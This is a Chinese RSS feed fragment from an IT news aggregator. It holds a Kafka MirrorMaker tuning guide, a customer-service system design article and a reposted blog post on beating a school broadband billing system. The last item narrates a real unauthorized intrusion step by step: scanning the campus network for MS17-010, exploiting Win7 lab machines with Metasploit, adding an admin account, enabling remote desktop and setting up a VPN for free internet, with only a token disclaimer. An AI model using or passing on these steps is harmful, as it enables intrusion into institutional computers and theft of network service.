    &lt;li&gt;检测MirrorMaker读取到的消息位移（可能还没有提交）。MirrorMaker的消费者会通过JMX来发布指标，其中一个指标就是消费者落后间隔（聚合所有分区）。但这个间隔也不是100%准确的，因为它是根据消费者读取到的位移来计算的，并没有考虑是否已经写入目标集群。拿上面的例子来说，MirrorMaker消费者可能会汇报落后间隔为1而不是2，因为它已经读取到消息6，即便这个消息仍未写入到目标集群。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;  &lt;strong&gt;指标监控&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;MirrorMaker中包含消费者和生产者，它们都有许多指标，建议在生产环境中收集跟踪这些指标。  &lt;a href="http://kafka.apache.org/documentation.html#selector_monitoring"&gt;Kafka文档&lt;/a&gt;列举了所有可用的指标，下面是一些比较重要的指标：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;消费者：fetch-size-avg, fetch-size-max, fetch-rate, fetch-throttle-time-avg, 和fetch-throttle-time-max。&lt;/li&gt;
    &lt;li&gt;生产者：batch-size-avg, batch-size-max, requests-in-flight，和record- retry-rate。&lt;/li&gt;
    &lt;li&gt;消费者和生产者：io-ratio和io-wait-ratio。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;  &lt;strong&gt;Canary&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;如果你已经监控了所有的指标，那么Canary不是必须的。但我们仍然推荐在生产环境中使用Canary，因为它能提供整体的监控。Canary每分钟发送一个事件到源集群，然后尝试从目标集群读取该事件，如果时间间隔超过阈值就会发出报警信息，因为这意味着MirrorMaker数据镜像存在问题。&lt;/p&gt;

 &lt;h3&gt;MirrorMaker性能调优&lt;/h3&gt;

 &lt;p&gt;首先MirrorMaker的集群大小需要依赖所需要满足的吞吐量和延迟。如果不能忍受延迟，那么你可能需要尽可能部署多的MirrorMaker以便处理流量洪峰；如果能忍受一定的延迟，那么MirrorMaker处理洪峰的75%-80%或者95%-99%就可以了，洪峰的延迟会在低谷时慢慢降低。&lt;/p&gt;

 &lt;p&gt;现在我们来评估MirrorMaker的消费者线程数，也就是num.streams所指定的值。LinkedIn的经验值是8个消费者线程可以达到6MB/s的处理速度，16个消费者线程可以达到12MB/s的速度，但这个经验值不是通用的，因为它受硬件配置影响。因此我们需要自己做压力测试，Kafka中内置有kafka-performance-producer，可以使用它作为生产者来发送压测事件到源集群，然后测试MirrorMaker在1，2，4，8，16，24，32个线程下的性能，当增加线程数不能提高性能时即取得极值，配置的线程数需要小于这个极值即可。如果我们发送的消息是经过压缩的，那么MirrorMaker的消费者需要解压然后生产者重新压缩，这个过程会消耗CPU，因此在测试过程中也需要关注CPU负载情况。这个过程可以测试单个MirrorMaker的性能，如果以集群形态部署，那么我们需要对多个MirrorMaker的集群进行性能压测。&lt;/p&gt;

 &lt;p&gt;另外，核心的主题可能需要尽可能降低延迟，对于这种情况建议在部署MirrorMaker时进行隔离，防止别的大流量主题影响到核心主题。&lt;/p&gt;

 &lt;p&gt;上面是基本的性能调优，一般能满足业务需求了。但我们其实还可以进一步提高MirrorMaker的性能。在使用MirrorMaker做跨集群数据镜像时，我们可以对网络参数进行性能调优：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;增大TCP缓冲区（net.core.rmem_default, net.core.rmem_max, net.core.wmem_default, net.core.wmem_max, net.core.optmem_max）。&lt;/li&gt;
    &lt;li&gt;使用自动滑动窗口（sysctl –w net.ipv4.tcp_window_scaling=1，或者添加net.ipv4.tcp_window_scaling=1到/etc/sysctl.conf）。&lt;/li&gt;
    &lt;li&gt;降低TCP慢启动时间（设置/proc/sys/net/ipv4/ tcp_slow_start_after_idle为0）&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;网络性能调优是一个复杂的过程，感兴趣的可以参考《Performance Tuning for Linux Servers》这本书。&lt;/p&gt;

 &lt;p&gt;另外，如果需要对MirrorMaker的生产者和消费者进行性能调优的话，我们得首先了解性能瓶颈究竟是在于生产者还是消费者。一个方法是监控生产者和消费者指标，如果发现一个空闲而另一个负载非常高，那么就知道瓶颈在哪了。或者我们可以使用jstack来对线程栈进行多次采样，看MirrorMaker究竟主要耗费时间在poll消息还是send消息，然后再进行优化。&lt;/p&gt;

 &lt;p&gt;如果想优化生产者，那么下面是一些比较重要的属性配置：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;max.in.flight.requests.per.connection：默认情况下，MirrorMaker生产者同时只发送一个请求，这意味着生产者等到目标集群ack后才发送下一个请求。这种方式可以保证在失败重试的情况下仍然保持消息顺序。不过如果集群间通信延迟较大，这种方式会降低发送性能，因此对于消息顺序不重要的场景，我们可以通过增加max.in.flight.requests.per.connection来提高吞吐。&lt;/li&gt;
    &lt;li&gt;linger.ms和batch.size：如果检测到生产者发送的消息经常是很小的（比如说batch-size-avg和batch-size-max都小于配置的batch.size），那么我们可以通过增加linger.ms来让生产者等待更多的消息然后再发送请求，但注意到这种方式也会增加延迟。而如果观测到生产者每次发送的消息都是满足batch.size的，而我们又有空余的内存，那么可以考虑增大batch.size。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;如果想优化消费者，下面是一些比较重要的属性配置：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;partition.assignment.strategy：MirrorMaker默认的分区均衡策略为range，这种方式有一定的好处，但是可能会导致分区不均衡分配。对于MirrorMaker来说，我们可以考虑设置成轮询策略（Round Robin），只需要将partition.assignment.strategy=org.apache.kafka.clients.consumer.RoundRobinAssignor添加到配置文件即可。&lt;/li&gt;
    &lt;li&gt;fetch.max.bytes：如果检测到fetch-size-avg和fetch-size-max都跟fetch.max.bytes很接近，而我们又有空余的内存空间，那么可以考虑fetch.max.bytes来使得消费者在每个请求中读取更多的数据。&lt;/li&gt;
    &lt;li&gt;fetch.min.bytes和fetch.max.wait：如果检测到fetch-rate指标很高，那么证明消费者频繁拉取消息，而且拉取的消息非常少，那么我们可以考虑增加fetch.min.bytes和fetch.max.wait来使得消费者每次可以等待拉取更多的消息。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;其他跨集群数据镜像解决方案&lt;/h2&gt;

 &lt;p&gt;上面深入讨论了MirrorMaker的方案，但如前所述MirrorMaker有自身的局限性和缺点，下面来看下MirrorMaker的替代方案以及它们是如何解决MirrorMaker所遇到的问题的。&lt;/p&gt;

 &lt;h3&gt;Uber uReplicator&lt;/h3&gt;

 &lt;p&gt;Uber大规模使用MirrorMaker，随着主题增多和集群规模增长，他们遇到了一些问题：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;重平衡延迟：MirrorMaker内部的消费者只是普通的Kafka消费者，因此增加消费者线程、增加MirrorMaker实例、增加主题等等都会引起分区的重平衡。在前面系列文章提到过，分区重平衡进行时，消费者不能消费数据，直至重平衡完毕。如果主题和分区数量很大，那么这个过程会需要一定时间，对于老的消费者来说时间则更长。在一些场景下，甚至会引起5到10分钟的停顿。&lt;/li&gt;
    &lt;li&gt;新增主题困难：使用正则表达式来指定主题列表意味着每新增一个主题都会引起上面所说的重平衡，因此为了避免不必要的重平衡，Uber单独指明需要数据镜像的主题列表。但Uber在新增镜像主题时需要修改所有MirrorMaker的配置并且重启，这仍然会导致重平衡。不过这样可以控制重平衡次数，只是定期维护导致重平衡，而不是每次新增主题都进行重平衡。需要注意的是，如果配置出错导致MirrorMaker间的配置不同，那么MirrorMaker启动后会不断的重平衡，因为消费者间不能达成一致。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;基于上述的问题，Uber开发了uReplicator来替代MirrorMaker，他们使用Apache Helix来管理分配到uReplicator的主题和分区，并且使用REST API来在Helix中新增主题。Uber使用自身研发的Helix消费者来替代MirrorMaker中的消费者，Helix消费者从Helix中获取分区，并且监听Helix的分区改动事件，以此来避免原生的消费者重平衡。&lt;/p&gt;

 &lt;p&gt;Uber写了一篇  &lt;a href="https://eng.uber.com/ureplicator/"&gt;博客&lt;/a&gt;来描述这个架构，并且详细说明了这种方案的改进之处。&lt;/p&gt;

 &lt;h3&gt;Confluent Replicator&lt;/h3&gt;

 &lt;p&gt;在Uber开发uReplicator的同时，Confluent公司也在开发Replicator。虽然这两者名称基本相同，但是它们的侧重点却是不一样的。Confluent公司的Replicator主要是解决商业上遇到的多集群部署维护问题：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;集群配置不一致：MirrorMaker只是同步数据，但是不同集群的主题配置（分区数、冗余因子等）可能是不同的。如果我们在源集群增加了主题数据的保留时间但忘记在目标集群修改相同的配置，可能会导致在故障转移时，应用找不到历史数据。而且，手动同步主题配置非常容易出错。&lt;/li&gt;
    &lt;li&gt;MirrorMaker集群本身维护困难：上面说到MirrorMaker一般是以集群来部署的，本身也需要维护。MirrorMaker除了配置生产者和消费者之外，本身也有许多属性需要配置。如果我们有多个数据中心需要相互同步数据，那么MirrorMaker数量会迅速膨胀。这些情况都导致了MirrorMaker集群的运维复杂性。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;为了降低运维复杂性，Confluent公司研发了Replicator，它是Kafka Connect的一种connector，与从数据库读取的connector不同的是，Replicator从Kafka集群中读取数据。Kafka Connect框架中的connector会将整体工作拆分成多个task，其中每个任务是一对&amp;lt;consumer, producer&amp;gt;。Connect框架将task均衡分配到各个worker节点，因此我们不需要计算每个MirrorMaker需要多少个消费者或者一个机器上部署多少个MirrorMaker实例。另外，Connect提供了REST API来管理connector和task。通过使用使用基于Kafka Connect框架的方案，我们可以降低需要维护的集群数量。而且，Replicator除了同步数据之外，也会同步Zookeeper中的主题配置。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>分布式系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/58558-kafka-%E7%B3%BB%E5%88%97-%E9%9B%86%E7%BE%A4</guid>
      <pubDate>Sat, 23 Dec 2017 22:00:00 CST</pubDate>
    </item>
    <item>
      <title>从8个方面告诉你：客服系统应该怎么搞</title>
      <link>https://itindex.net/detail/58375-%E5%91%8A%E8%AF%89-%E5%AE%A2%E6%9C%8D-%E7%B3%BB%E7%BB%9F</link>
      <description>&lt;blockquote&gt;  &lt;p&gt;客服系统到底应该怎么弄？本文从八个方面详细解说，一起进来看看~&lt;/p&gt;&lt;/blockquote&gt;
 &lt;p&gt;  &lt;img src="http://image.woshipm.com/wp-files/2017/10/kefuxitong.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;客服系统可谓是一款经久不衰的产品，产生时期要追溯至曾经电视购物盛行的前夕，在电商大时代被各种身怀绝技的产品经理再一次的革新与发展。&lt;/p&gt;
 &lt;p&gt;从最初简单的用户信息记录、工单跟踪，到后期的服务数据量化、沟通质量指标化、智慧应答，一步步在走向全机器智能客服的时代。&lt;/p&gt;
 &lt;p&gt;将成型的客服系统继续商业化已经成为不少公司的主流业务，比如：网易七鱼、Udesk、AiKF、智齿（虽然听起来像个口腔诊所，但真的是客服系统）。&lt;/p&gt;
 &lt;p&gt;将服务行业的必要产品商业化，提供打包服务、整体解决方案，以席位为单位进行切割式零售出租模式，也同样应景了企业需要短期内、低成本建立起客服这种刚性功能的需求。&lt;/p&gt;
 &lt;p&gt;今天我将与大家分享一款我曾经做过的（注意：曾经！曾经！曾经！愿意的话你们可以自己完善）电商在线客服系统，这款系统的角色包括如下：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;供应商客服：商家入驻电商平台并自己维护店铺；&lt;/li&gt;
  &lt;li&gt;呼叫中心客服：集团旗下统一的所有业务客服；&lt;/li&gt;
  &lt;li&gt;客服部客服：电商平台专属客服。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;以上这三个角色我知道你们可能很难理解，各个公司的背景、文化均有不同，所以产品产出形态不拘泥一格，你若能明白，更好；若无法理解，那么你只需要看原型与功能即可，切勿钻角色的牛角尖。&lt;/p&gt;
 &lt;p&gt;因为这不是我分享这个原型的初衷！同时还请注意：这套客服系统未接入400呼叫业务，是一个IM沟通形式的系统！&lt;/p&gt;
 &lt;p&gt;有问题评论问我！我会尽量能以你听明白的方式进行解答！&lt;/p&gt;
 &lt;h2&gt;一、客服系统主要模块&lt;/h2&gt;
 &lt;ol&gt;
  &lt;li&gt;操作台：客服人员可在操作台对用户的询问进行文字回复；&lt;/li&gt;
  &lt;li&gt;信息查询：一个多功能查询页面，方便客服人员快速定位用户或订单；&lt;/li&gt;
  &lt;li&gt;服务单管理：用户发起的每一次会话都将以服务单的形式进行历史保存；&lt;/li&gt;
  &lt;li&gt;工单管理：客服系统必备功能，不多解释，但是要说，工单具有追踪、时效、提醒、记录等功能；&lt;/li&gt;
  &lt;li&gt;客服管理：对客服人员进行数据查询，包括服务客户数、创建功能数、平均响应时间等，量化客服具体工作，数值可用来评判客服效率；&lt;/li&gt;
  &lt;li&gt;客席监控：监控系统中在线与离线的客服信息，我最初做过一个特别炫的版本，后来………&lt;/li&gt;
  &lt;li&gt;客服设置：对一些渠道来源、问题类型等字段功能的设置。&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;二、其他功能&lt;/h2&gt;
 &lt;ol&gt;
  &lt;li&gt;客服功能要与电商后台其他业务打通，如：退货、退款、订单、用户、积分、身份等等。&lt;/li&gt;
  &lt;li&gt;客服系统可以在原有电商后台框架中直接分模块进行搭建，也可以单起炉灶，这取决于你们公司的业务场景。&lt;/li&gt;
  &lt;li&gt;客服可查看的信息边界需要不同公司不同考虑，我要分享的这套客服系统在页面中并没有将任何敏感信息加密，但是在权限管理中我设计了按照不同角色进行权限配置的功能。&lt;/li&gt;
  &lt;li&gt;这套系统分享页面不全，有些敏感页面已经进行了隐藏，但是主流程、客服基本功能全都进行了无保留展示，拿去直接用都不存在问题。&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;三、客服操作台&lt;/h2&gt;
 &lt;p&gt;客服操作台的首要功能为，与用户产生线上直接沟通之必备工具，一共分为四个模块：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;服务信息展示：最左侧显示待接入、正在接入、已接入等信息。在“正在接入”模块中，用三种颜色标示，绿色为当前正在服务的用户信息，白色为正在接入且无未读信息的会话，灰色为正在接入且有未读会话的信息。这方面没有使用未读数字表示，是因为考虑客服在服务的时候，需要一个良好平静的心态，满屏的红色小点+未读数字，不利于客服人员的心态。&lt;/li&gt;
  &lt;li&gt;沟通信息展示：中间区域使用户与客服人员的沟通记录显示区域，同时会显示一些数据如沟通用时、对话次数（用来判断用户是否即将会爆发）、当前用户等待接入用时（用来判断用户是否具有急躁、愤怒的可能性）。&lt;/li&gt;
  &lt;li&gt;用户信息展示区：包括客户信息、订单查询、沟通历史、物流查询等相关内容，通过沟通历史，可查看到当前用户的所有会话记录，方便不同客服沟通服务时，能够有据可查。&lt;/li&gt;
  &lt;li&gt;快捷信息发送区：主要体现为常用语和知识库。&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;各种逻辑规则不在叙述，如果你是产品，我相信你一定有你自己的规则判断。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="293" src="http://image.woshipm.com/wp-files/2018/05/TFibaD5c4bDWQLk6hFVm.jpg" width="613"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="714" src="http://image.woshipm.com/wp-files/2018/05/YrNSlSyJoT3azHAlbEj2.jpg" width="467"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="260" src="http://image.woshipm.com/wp-files/2018/05/8matfrjBkNwxW6yRpw0N.jpg" width="612"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="370" src="http://image.woshipm.com/wp-files/2018/05/palBO7JT1IkB8wp7TOFu.jpg" width="467"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;四、服务单管理&lt;/h2&gt;
 &lt;p&gt;用户发起的每一次会话都将以服务单的形式进行保存，包括转接路径、可量化指标、服务单类型、关联订单、关联工单的相关内容。&lt;/p&gt;
 &lt;p&gt;服务单的价值在于会话中全部信息保留，相当于黑盒子的概念，无需通过开发人员调取数据库信息，将所有信息展示于页面即可。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="349" src="http://image.woshipm.com/wp-files/2018/05/lZQJYlCQjv9OQAYwEr1k.jpg" width="702"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="595" src="http://image.woshipm.com/wp-files/2018/05/v4Z4sBxR9iHzCRpXMuJb.jpg" width="703"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="366" src="http://image.woshipm.com/wp-files/2018/05/n0fSew3pYv71x0QJTf2h.jpg" width="708"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="303" src="http://image.woshipm.com/wp-files/2018/05/N6KVuDEoIveFopsiypzE.jpg" width="703"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="721" src="http://image.woshipm.com/wp-files/2018/05/py8hvJXEYdeGFFwzbxmW.jpg" width="707"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="598" src="http://image.woshipm.com/wp-files/2018/05/aT5O22kOO2MEiZiL1oIY.jpg" width="705"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="424" src="http://image.woshipm.com/wp-files/2018/05/zVu2wjVlsFUZHTqylOqe.jpg" width="705"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="746" src="http://image.woshipm.com/wp-files/2018/05/lzu1BgU1uVx67YHVCDRk.jpg" width="707"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;五、工单管理&lt;/h2&gt;
 &lt;p&gt;工单需需要具备几个必要的功能，如创建、修改、指派、跟进、需要与各种业务系统打通（如订单、退货退款）。&lt;/p&gt;
 &lt;p&gt;另一方面工单要完善到进程或叫做节点，系统清晰的记录着工单的创建，每个环节的工单处理结果，用来回溯事件。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="220" src="http://image.woshipm.com/wp-files/2018/05/4XNiQtonAG0jXMipNh3W.jpg" width="702"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="302" src="http://image.woshipm.com/wp-files/2018/05/Pd2Xcc8XQ8BgABLS3H0i.jpg" width="705"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="871" src="http://image.woshipm.com/wp-files/2018/05/50dByskc1CX0X6PlS6jl.jpg" width="704"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;六、客席监控&lt;/h2&gt;
 &lt;p&gt;客席监控功能比较简单，主要是跟踪客服在线状态，实时显示服务质量、服务情况。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="307" src="http://image.woshipm.com/wp-files/2018/05/mKXtorLtQXj3cQaxeBe3.jpg" width="703"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;七、客服管理&lt;/h2&gt;
 &lt;p&gt;客服管理模块中，主要针对所有客服账号进行服务数据、服务单历史、工单历史等内容的查询功能，用于更好的管理客服团队，输出必要的客服指标。在这个模块中，大家可以加入更多的客服数据KPI。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="241" src="http://image.woshipm.com/wp-files/2018/05/kECxcDaCj7wfFs4rsGd8.jpg" width="702"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="614" src="http://image.woshipm.com/wp-files/2018/05/mkqOj5QmzHtF57AfaGCI.jpg" width="705"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="295" src="http://image.woshipm.com/wp-files/2018/05/hEhjgTpH5rfIeO2wJSrZ.jpg" width="706"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="742" src="http://image.woshipm.com/wp-files/2018/05/5FwrpOAdJFZBihsvuWNb.jpg" width="703"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="534" src="http://image.woshipm.com/wp-files/2018/05/158GLoKKhK9yu5rEKBoS.jpg" width="708"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="358" src="http://image.woshipm.com/wp-files/2018/05/ZY5736uZ7TCombD6G1KH.jpg" width="704"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;八、客服设置&lt;/h2&gt;
 &lt;p&gt;客服设置就不以图形进行展示了，主要设置内容包括：会话结束条件、客席分配规则、知识库内容编辑、问候语内容编辑、客服投诉规则等等诸如此类内容。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;注：&lt;/strong&gt;客服系统是非常简单的一套系统，难点并不在于逻辑，而是在于页面功能布局。&lt;/p&gt;
 &lt;p&gt;比如：操作台，在有限的空间内，要摆放更多的、能够帮助客服了解用户的内容，且页面还需要规整与合理，这才是重点关注地方。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;本文由 @王队 原创发布于人人都是产品经理。未经许可，禁止转载&lt;/p&gt;
 &lt;p&gt;题图来自 Pexels，基于 CC0 协议&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>产品设计 3年 中级 客服系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/58375-%E5%91%8A%E8%AF%89-%E5%AE%A2%E6%9C%8D-%E7%B3%BB%E7%BB%9F</guid>
      <pubDate>Mon, 14 May 2018 18:16:07 CST</pubDate>
    </item>
    <item>
      <title>绕过学校宽带计费系统思路分享</title>
      <link>https://itindex.net/detail/58290-%E5%AD%A6%E6%A0%A1-%E5%AE%BD%E5%B8%A6-%E7%B3%BB%E7%BB%9F</link>
      <description>&lt;p&gt;  &lt;strong&gt;PS：本文仅用于技术讨论与分享，严禁用于任何非法用途&lt;/strong&gt;    &lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;没错，就是大家通常想的那样，搭建VPN，但是我是怎么搭建VPN的呢？&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;校园网环境：&lt;/strong&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1.每个宿舍楼之间能互相通讯，同时登陆宽带需要收费，每个月50块左右，每天晚上23：30准时断网（PS：并没有断电）&lt;/p&gt;
  &lt;p&gt;2.教学楼办公区之间，不需要宽带收费，只需要学生自己的账号就能登录，全天24小时不断网不断电（PS：但是教学区域，电脑不会24小时开启）&lt;/p&gt;
  &lt;p&gt;3.学校的无线和有线是连在一起的可以相互通讯&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;按道理来说，我这样做是不对的，但是为了每天有网上有WIFI连，我豁出去了，穷得吃土了，这是我们学校的宽带认证界面，使用portal认证方式&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="TIM&amp;#22270;&amp;#29255;20180413205346.png" height="325" src="http://image.3001.net/images/20180413/1523624157769.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="227" src="http://image.3001.net/images/20180413/1523629673738.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;h2&gt;一丶搜集学校的IP段&lt;/h2&gt;
 &lt;p&gt;因为学校的网络是互通的，我用自创推算法推算学校的IP段，学校平时的教学机是会关机的（基本全是WIN7），搭建了也没用，重启之后也会还原，毕竟我要的是免费上网加24小时不断网haha~~~&lt;/p&gt;
 &lt;p&gt;之前我就调查清楚了，教学楼的IP地址是同一个网段，172.18.x.x 每一层楼都一样的，除了第三位网络位不同，并且我还要找出24小时不关机的机器，这是很难的，我们学校有个中兴实验室里面全是服务器和云虚拟机，在想试试能不能拿到，于是我拿出了神器metasploit,msf自带ms017辅助模块和攻击模块，因为学校大多数都是win7，我也就想碰碰运气，利用一下这个远古漏洞！因为我要实现24小时不断网，我选择在晚上23点后再扫描。&lt;/p&gt;
 &lt;h2&gt;二丶利用ms017漏洞&lt;/h2&gt;
 &lt;p&gt;1.打开kali，进入msfconsole控制台&lt;/p&gt;
 &lt;p&gt;2.找到ms017的辅助扫描模块&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25429;&amp;#33719;.PNG" height="365" src="http://image.3001.net/images/20180413/15236287049317.png!small" width="690"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;我们使用scanner这个扫描漏洞模块来扫描所有ms17漏洞的机器&lt;/p&gt;
 &lt;p&gt;设置好扫描的IP段线程&lt;/p&gt;
 &lt;p&gt;run启动&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25429;&amp;#33719;1.PNG" height="390" src="http://image.3001.net/images/20180413/15236287174743.png!small" width="690"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;扫描完成之后，发现只有172.18.114.x这个段存活，说明这个就是之前我要找的中兴实验室的网段，全是存活的win7和一台2012&lt;/p&gt;
 &lt;p&gt;接下来我只要利用攻击模块进入系统提权就行(随便选了台WIN7）2008搭建麻烦&lt;/p&gt;
 &lt;p&gt;加载模块&lt;/p&gt;
 &lt;p&gt;成功连接进入shell&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="92" src="http://image.3001.net/images/20180413/15236287412969.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="132" src="http://image.3001.net/images/20180413/15236287505295.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;直接添加用户到管理员用户组&lt;/p&gt;
 &lt;p&gt;因为是win7，需要我开启3389&lt;/p&gt;
 &lt;p&gt;利用msf  getgui 开启远程管理&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="182" src="http://image.3001.net/images/20180413/15236287605431.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="191" src="http://image.3001.net/images/20180413/15236287706627.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;h2&gt;三、搭建VPN&lt;/h2&gt;
 &lt;p&gt;1.按照顺序开启搭建VPN的服务&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;win7还是自带的搭建简单&lt;/p&gt;
 &lt;p&gt;Telephony 、Secure SocketTunneling Protocol Service 、Windows EventLog     、Remote Access AutoConnection Manager 、Remote Access ConnectionManager&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="401" src="http://image.3001.net/images/20180413/15236297708232.png!small" width="357"&gt;&lt;/img&gt;  &lt;br /&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="362" src="http://image.3001.net/images/20180413/15236297769070.png!small" width="558"&gt;&lt;/img&gt;  &lt;br /&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="387" src="http://image.3001.net/images/20180413/1523629783786.png!small" width="558"&gt;&lt;/img&gt;  &lt;br /&gt;&lt;/p&gt;
 &lt;p&gt;IP划分到WIN7这个段就行，不然会不能访问计费系统    &lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="381" src="http://image.3001.net/images/20180413/1523629807836.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;重启&lt;/p&gt;
 &lt;p&gt;切换到本机连接VPN&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="331" src="http://image.3001.net/images/20180413/1523629827207.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;已经划分到114的网段&lt;/p&gt;
 &lt;p&gt;打开网页，访问计费系统IP&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="265" src="http://image.3001.net/images/20180413/15236298339541.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;已经成功划分到教学楼的网段，现在登录是免费而且24小时不断网    &lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="238" src="http://image.3001.net/images/20180413/15236298473510.png!small" width="558"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;四．总结&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;长期观察校园环境，注意细节，挺简单的，学校到处逛逛，会发现意想不到的收获&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;* 本文作者：你听得到，转载注明来自Freebuf.com&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>网络安全 学校宽带 计费系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/58290-%E5%AD%A6%E6%A0%A1-%E5%AE%BD%E5%B8%A6-%E7%B3%BB%E7%BB%9F</guid>
      <pubDate>Mon, 23 Apr 2018 08:30:53 CST</pubDate>
    </item>
    <item>
      <title>保护物联网安全的6条基本原则，你做到了几条？</title>
      <link>https://itindex.net/detail/58018-%E7%89%A9%E8%81%94%E7%BD%91-%E5%AE%89%E5%85%A8-%E5%9F%BA%E6%9C%AC%E5%8E%9F%E5%88%99</link>
